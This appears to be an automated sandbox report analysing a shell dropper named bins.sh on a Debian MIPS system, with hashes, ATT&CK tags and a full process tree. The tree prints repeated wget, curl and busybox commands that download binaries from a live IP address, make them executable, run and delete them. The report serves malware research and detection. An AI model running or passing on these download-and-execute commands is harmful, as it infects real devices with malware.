a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a

Analysis

max time kernel
123s
max time network
153s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
04/11/2024, 14:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241104-rt7hka1gpr
SHA256 a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a
MD5 5875b85f6a853bb5dc85b0a88a7be4b0
SHA1 337556771a06e87851fd63266f40c71a79114b52
SHA512 b113dead6c232f3cba3dda0283cd0c8fbaa1e7b1d1d06ee63a7d084871ac0f8464efb6797f14f47f10728e58a2e68fb602e41e986c17eea55d99b87bfb0b1f21
SSDEEP 192:rLIRRHWiihpWPE8Mum+Nh8vRRHWiARpXum+NhP:rLVDWMPr
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
820	chmod
833	chmod
873	chmod
893	chmod
748	chmod
764	chmod
881	chmod
911	chmod
917	chmod
899	chmod
923	chmod
758	chmod
791	chmod
827	chmod
850	chmod
887	chmod
905	chmod

Executes dropped EXE 17 IoCs

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U	curl
File opened for modification	/tmp/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu	curl
File opened for modification	/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	curl
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	curl
File opened for modification	/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	curl
File opened for modification	/tmp/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5	curl
File opened for modification	/tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH	curl
File opened for modification	/tmp/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp	curl
File opened for modification	/tmp/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE	curl
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	curl
File opened for modification	/tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0	curl
File opened for modification	/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	curl
File opened for modification	/tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm	curl
File opened for modification	/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	curl
File opened for modification	/tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk	curl
File opened for modification	/tmp/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw	curl
File opened for modification	/tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0	curl
File opened for modification	/tmp/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:716
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:720
- /usr/bin/wget
  wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:744
- /bin/chmod
  chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:757
- /bin/chmod
  chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:760
- /usr/bin/wget
  wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:763
- /bin/chmod
  chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:786
- /bin/chmod
  chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:815
- /bin/chmod
  chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:822
- /usr/bin/wget
  wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:826
- /bin/chmod
  chmod 777 iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  ./iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
  2⤵
  PID:829
- /usr/bin/wget
  wget http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  PID:832
- /bin/chmod
  chmod 777 u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  ./u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
  2⤵
  PID:835
- /usr/bin/wget
  wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:846
- /bin/chmod
  chmod 777 LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  ./LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
  2⤵
  PID:853
- /usr/bin/wget
  wget http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  PID:868
- /bin/chmod
  chmod 777 30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  ./30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm 30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
  2⤵
  PID:877
- /usr/bin/wget
  wget http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  PID:880
- /bin/chmod
  chmod 777 oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  ./oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
  2⤵
  PID:883
- /usr/bin/wget
  wget http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  PID:886
- /bin/chmod
  chmod 777 aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  ./aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
  2⤵
  PID:889
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  PID:892
- /bin/chmod
  chmod 777 Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  ./Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
  2⤵
  PID:895
- /usr/bin/wget
  wget http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  PID:898
- /bin/chmod
  chmod 777 KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  ./KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
  2⤵
  PID:901
- /usr/bin/wget
  wget http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  PID:904
- /bin/chmod
  chmod 777 jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  ./jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
  2⤵
  PID:907
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:910
- /bin/chmod
  chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:916
- /bin/chmod
  chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
  2⤵
  PID:919
- /usr/bin/wget
  wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:922
- /bin/chmod
  chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
  2⤵
  PID:925
- /usr/bin/wget
  wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
  2⤵
  PID:928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

Path /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	750	i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	759	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
/tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm	765	mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
/tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0	792	vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
/tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr	821	0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
/tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk	828	iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
/tmp/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5	834	u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
/tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH	851	LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
/tmp/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3	874	30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
/tmp/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp	882	oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
/tmp/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE	888	aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
/tmp/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U	894	Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
/tmp/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu	900	KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
/tmp/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw	906	jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
/tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X	912	v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
/tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc	918	i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
/tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0	924	vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0